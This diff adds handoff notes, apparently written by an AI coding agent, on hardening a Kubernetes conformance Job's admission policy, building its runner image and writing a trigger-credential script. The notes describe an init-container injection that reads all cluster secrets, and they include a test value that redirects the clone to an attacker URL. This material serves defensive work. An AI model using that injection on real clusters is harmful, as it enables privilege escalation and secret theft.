pending gate / conformance (pull_request) Blocked by required conditions
|
||||
|
||||
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
|
||||
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
|
||||
approval policy in CI anywhere in this repo.** What actually stops this merging is
|
||||
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
|
||||
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
|
||||
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
|
||||
|
||||
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
|
||||
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
|
||||
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
|
||||
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
|
||||
`paths:`-scoped required check would be the mechanism; neither exists today.
|
||||
|
||||
The PR was **not merged** and nothing was worked around.
|
||||
|
||||
### Process note, worth more than the policy fix
|
||||
|
||||
Both halves of the security finding came from **probing rather than reading**. The hole was not
|
||||
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
|
||||
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
|
||||
policy is only as trustworthy as its negative fixtures.
|
||||
|
||||
### Addendum — rebased onto `main` after #18 landed (2026-09-29)
|
||||
|
||||
This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
|
||||
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
|
||||
file (see `decisions/README.md`).
|
||||
|
||||
The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
|
||||
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
|
||||
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
|
||||
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
|
||||
|
||||
One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
|
||||
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
|
||||
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
|
||||
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
|
||||
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
|
||||
`main` documenting an open hole that had just been closed, which is the same
|
||||
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
|
||||
rebase: every file but that README is byte-identical to the pre-rebase tip.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
|
||||
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
|
||||
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
|
||||
all **unexercised**. The envelope itself is verified; its transport is not.
|
||||
- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
|
||||
now on `main` and this branch was rebased onto them. What that changes is only *availability*:
|
||||
if the path were missing or named differently the init container would fail to start, and if the
|
||||
image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
|
||||
image has been built or pushed, so the digest this branch pins still resolves to nothing.
|
||||
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
|
||||
name is referenced here.
|
||||
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
|
||||
not been built. If the Containerfile picks a different uid, the Job will not start.
|
||||
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
|
||||
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
|
||||
assertion turns that into a loud failure rather than a wrong-tree run.
|
||||
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
|
||||
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
|
||||
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
|
||||
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
|
||||
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
|
||||
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
|
||||
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
|
||||
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
|
||||
the rule should stay either way.
|
||||
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
|
||||
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
|
||||
trigger identity in a live admission request.
|
||||
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
|
||||
manifests. A policy that a CLI accepts can still behave differently once installed.
|
||||
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
|
||||
there is deliberately partial, not complete.
|
||||
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
|
||||
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||
editing either script needs to know about, so it is called out in the rule's message.
|
||||
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
|
||||
branch changes nothing about what CI does today.
|
||||
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
|
||||
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
|
||||
runtime behaviour.
|
||||
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
|
||||
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
|
||||
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
|
||||
@@ -0,0 +1,258 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: feat/conformance-runner-image
|
||||
title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
|
||||
[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
|
||||
merged** — an agent cannot, and should not.
|
||||
|
||||
### The defect, stated plainly
|
||||
|
||||
`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
|
||||
`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
|
||||
and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
|
||||
have failed at exec of `./run.sh` before a single test ran, and the only place that would have
|
||||
surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
|
||||
it in the archive: a manifest that *described* a working mechanism, with nothing measuring
|
||||
whether the mechanism existed.
|
||||
|
||||
### What landed
|
||||
|
||||
- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
|
||||
chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
|
||||
fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
|
||||
`fedora-minimal` and carries no downloader).
|
||||
- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
|
||||
prints the digest, and **never pushes**.
|
||||
- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
|
||||
addendum below).
|
||||
- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
|
||||
- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
|
||||
`image:`.
|
||||
|
||||
`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
|
||||
and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
|
||||
Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
|
||||
forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
|
||||
|
||||
Two things the admission boundary forced, both of which would otherwise have been discovered
|
||||
at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
|
||||
reject a named user), and every writable path must live under `/workspace` (the pod is
|
||||
`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
|
||||
`safe.directory` is therefore written to `/etc/gitconfig` at build time.
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
|
||||
|
||||
### The chainsaw supply-chain gap, stated accurately
|
||||
|
||||
The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
|
||||
URL". Literally true, and misleading: it reads as "no integrity option exists". The release
|
||||
assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
|
||||
each tarball. So verification IS available; it needs cosign in the builder stage and the right
|
||||
keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
|
||||
sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
|
||||
Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
|
||||
decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
|
||||
same gap for the same binary.
|
||||
|
||||
### Addendum — `/usr/local/bin/conformance-clone`
|
||||
|
||||
Added at the coordinator's request, to close half of the admission gap a sibling agent found:
|
||||
the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
|
||||
from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
|
||||
arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
|
||||
author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
|
||||
`kubectl get secrets -A`).
|
||||
|
||||
The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
|
||||
replace the one executable the policy will come to trust. Clone logic taken from PR #20's
|
||||
`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
|
||||
`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
|
||||
accepted.
|
||||
|
||||
**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
|
||||
taken from the environment.** The brief said to take SHA, repo URL and target dir from the
|
||||
environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
|
||||
script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
|
||||
trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
|
||||
the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
|
||||
vars are still read so the Job template stays self-documenting, but a value that disagrees with
|
||||
the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
|
||||
is the SHA.
|
||||
|
||||
**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
|
||||
path *required* rather than merely *available* is a 4th policy rule demanding
|
||||
`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
|
||||
rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
|
||||
branch. Until it lands, the hole is open.
|
||||
|
||||
The anonymous-clone fallback is deliberate and announced in the script's log line: read access
|
||||
to this repo needs no credential today, the integrity guarantee here is the SHA assertion
|
||||
rather than the credential, and requiring the Secret would have made the script untestable
|
||||
without one.
|
||||
|
||||
### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
|
||||
|
||||
`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
|
||||
selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
|
||||
`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
|
||||
the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
|
||||
offline in the same CI run.
|
||||
|
||||
So **the plan's own invocation shapes do not work on this image.** `--layer all
|
||||
--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
|
||||
documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
|
||||
must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
|
||||
to nothing.
|
||||
|
||||
**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
|
||||
layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
|
||||
checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
|
||||
documented in the Containerfile header and the incluster README so it cannot be rediscovered
|
||||
from a pod log.
|
||||
|
||||
### Follow-ups this creates
|
||||
|
||||
1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
|
||||
`CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
|
||||
not the local manifest digest the build printed.
|
||||
2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
|
||||
wildcard with the literal digest, closing the residual "anyone who can push to this path"
|
||||
gap. Separate, human-reviewed PR — it edits the security boundary.
|
||||
3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
|
||||
carrying an image reference that admission would deny.
|
||||
4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
|
||||
Without it, `conformance-clone` is available but not required, and the injection hole is
|
||||
still open.
|
||||
|
||||
### Rework note — why this entry is a file and not an append
|
||||
|
||||
This branch originally carried its handoff as a ~236-line append to the tail of
|
||||
`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
|
||||
and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
|
||||
its substance moved here verbatim in meaning; the branch now touches no file outside
|
||||
`conformance/`. Nothing about what the code claims to have proven was changed by that move.
|
||||
|
||||
## What I verified
|
||||
|
||||
### The image, by running it — not by a green build
|
||||
|
||||
As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
|
||||
(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
|
||||
non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
|
||||
`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
|
||||
`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
|
||||
in-image verification still passed.
|
||||
|
||||
### The init-container clone path, end to end
|
||||
|
||||
From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
|
||||
`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
|
||||
notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
|
||||
HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
|
||||
anonymous read is currently open — the plan's read-only deploy token buys authorisation
|
||||
hygiene, not reachability.
|
||||
|
||||
`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
|
||||
`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
|
||||
exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
|
||||
instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
|
||||
**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
|
||||
workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
|
||||
SHA, with `rev-parse HEAD` proven equal to the requested SHA.
|
||||
|
||||
Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
|
||||
matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
|
||||
checks were written as pipelines, which under `pipefail` aborted the verify at the first
|
||||
expected failure and silently skipped the remaining six. A verify that stops early looks
|
||||
identical to a verify that passed.
|
||||
|
||||
### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
|
||||
|
||||
My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
|
||||
`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
|
||||
checking it. It is not true:**
|
||||
|
||||
| Claim | Measured |
|
||||
|---|---|
|
||||
| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
|
||||
| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
|
||||
| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
|
||||
|
||||
What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
|
||||
and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
|
||||
a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
|
||||
agent still cannot merge" send a reviewer to different places. Left in as a correction rather
|
||||
than quietly deleted.
|
||||
|
||||
### What PR #18's CI actually did, read out of the job log
|
||||
|
||||
Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
|
||||
because a skipped Gitea job reports `success`:
|
||||
|
||||
[skip] stage spec-immutability: SKIPPED (not run)
|
||||
[ ok ] stage lint: pass
|
||||
[ ok ] stage l0: pass
|
||||
[ ok ] stage render-golden: pass
|
||||
[ ok ] stage l1: pass
|
||||
[ ok ] stage gitea-settings: pass
|
||||
[skip] stage conformance: SKIPPED (not run)
|
||||
[fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
|
||||
|
||||
`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
|
||||
by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
|
||||
`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
|
||||
that stage can only skip. That measurement predates this rework's force-push; CI has not been
|
||||
re-read since.
|
||||
|
||||
### The gate, on the reworked branch, today
|
||||
|
||||
ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
|
||||
→ rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
|
||||
|
||||
[ ok ] spec-immutability [ ok ] decisions-log [ ok ] lint
|
||||
[ ok ] l0 [ ok ] render-golden [ ok ] l1
|
||||
[skip] gitea-settings (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
||||
[skip] conformance (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
|
||||
Stages that did not run: gitea-settings
|
||||
|
||||
`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
|
||||
frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
|
||||
Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
|
||||
Touched requirements resolved to
|
||||
`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
|
||||
is **not** a green run and is not offered as one.
|
||||
|
||||
### The rework itself
|
||||
|
||||
`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
|
||||
file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
|
||||
is empty, so the code is byte-identical to the pre-rework tip, file modes included
|
||||
(`build-image.sh` and `conformance-clone` both `100755`).
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **The image has never run in the cluster.** Everything above is local podman. Admission has
|
||||
not been exercised against it, because there is no digest to reference yet.
|
||||
- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
|
||||
purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
|
||||
like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
|
||||
operator action — `build-image.sh` prints the exact commands.
|
||||
- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
|
||||
change what the branch claims to have proven, so no build was run; the image measurements
|
||||
above are the ones taken when the code was written, against this same code.
|
||||
- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
|
||||
The cosign path is named as a TODO, not implemented.
|
||||
- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
|
||||
The initContainer injection hole is open until that separate PR lands.
|
||||
- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
|
||||
prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
|
||||
at L2/L3.
|
||||
- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
|
||||
registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
|
||||
earlier, against the pre-rework head.
|
||||
- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
|
||||
quoted above is from run 128 on the old head.
|
||||
@@ -0,0 +1,125 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: feat/conformance-trigger-kubeconfig
|
||||
title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
|
||||
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
|
||||
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
|
||||
changing Gitea variables are operator actions; nothing was minted, no Gitea object was
|
||||
written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
|
||||
not about the platform.
|
||||
|
||||
*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
|
||||
**only that token** with the cluster CA and server into a kubeconfig, stores it as the
|
||||
Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
|
||||
prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
|
||||
precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
|
||||
argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
|
||||
under `set -x`.
|
||||
|
||||
*The design decision worth reviewing: TWO precondition classes.*
|
||||
|
||||
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
|
||||
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
|
||||
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
|
||||
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
|
||||
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
|
||||
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
|
||||
exists to close.
|
||||
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
|
||||
plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
|
||||
referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
|
||||
variable, because storing the secret early is harmless and is the plan's own order.
|
||||
|
||||
**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
|
||||
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
|
||||
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
|
||||
names the trigger kubeconfig only in its TODO comment). So on a live run today the script
|
||||
would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
|
||||
missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
|
||||
work that unblocks it.
|
||||
|
||||
*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
|
||||
HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
|
||||
the object back. For the secret that is presence-by-name only (Gitea never returns secret
|
||||
values) and the script says so rather than implying the content was checked; for the variable
|
||||
it asserts the value reads back as exactly `true`.
|
||||
|
||||
*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
|
||||
detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
|
||||
`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
|
||||
closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
|
||||
(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
|
||||
local-run environment variable, never as CI wiring, because the secret that would feed it
|
||||
cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
|
||||
it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
|
||||
secret `GITEA_SETTINGS_TOKEN`, which is impossible.
|
||||
|
||||
*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
|
||||
`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
|
||||
PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
|
||||
`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
|
||||
`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
|
||||
commits; the commit that contained only the log append was dropped and its substance folded
|
||||
in below.
|
||||
|
||||
## What I verified
|
||||
|
||||
*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
|
||||
must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
|
||||
round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
|
||||
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
|
||||
pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
|
||||
`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
|
||||
says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
|
||||
property of the code as read, not of an execution.
|
||||
|
||||
*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
|
||||
this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
|
||||
security-relevant. Measured on the PR head commit's `/statuses`:
|
||||
|
||||
gate / gate (pull_request) success Successful in 1m34s
|
||||
gate / conformance (pull_request) pending Blocked by required conditions
|
||||
|
||||
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
|
||||
**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
|
||||
paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
|
||||
actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
|
||||
believed to exist because a brief said so. If the policy is intended, it is missing and needs
|
||||
its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
|
||||
script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
|
||||
|
||||
*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
|
||||
plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
|
||||
Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
|
||||
`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
|
||||
green; the gate decision names exactly one stage that did not run — `gitea-settings`
|
||||
(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
|
||||
`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
|
||||
`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
|
||||
file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
|
||||
`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
**The script has never executed.** Not one line of it has run against Gitea or against the
|
||||
cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
|
||||
shellcheck stage in the gate.
|
||||
|
||||
- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
|
||||
is from **documentation, not measurement**. The script tries POST then falls back to PUT,
|
||||
prints the response body on failure, and treats the read-back as the authority.
|
||||
- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
|
||||
and treats "neither present" as a block rather than assuming ready — but which form this
|
||||
cluster actually reports is **unmeasured**.
|
||||
- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
|
||||
known from here** — hence `--server`, and a hard refusal on a loopback address.
|
||||
- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
|
||||
set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
|
||||
is read from the RBAC and the script, not observed.
|
||||
- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
|
||||
here is evidence about runtime behaviour.
|
||||
@@ -0,0 +1,123 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: fix/crafty-oauth2-proxy-signin
|
||||
title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
|
||||
signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
|
||||
own access log settles which layer refused, and it is not the one the report names:
|
||||
|
||||
GET / -> 302 to Keycloak
|
||||
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy did its job
|
||||
GET /oauth2/callback -> 302
|
||||
GET /panel/dashboard -> 302
|
||||
GET /login?next=/panel/dashboard -> 200 <- CRAFTY's own login page
|
||||
POST /api/v2/auth/login/ -> 401 <- CRAFTY refused
|
||||
|
||||
**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
|
||||
identity headers, so it presents its own local login to an already-authenticated user. That second
|
||||
factor is intended. What was not intended — and what made the service genuinely impossible to set
|
||||
up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
|
||||
first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
|
||||
`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
|
||||
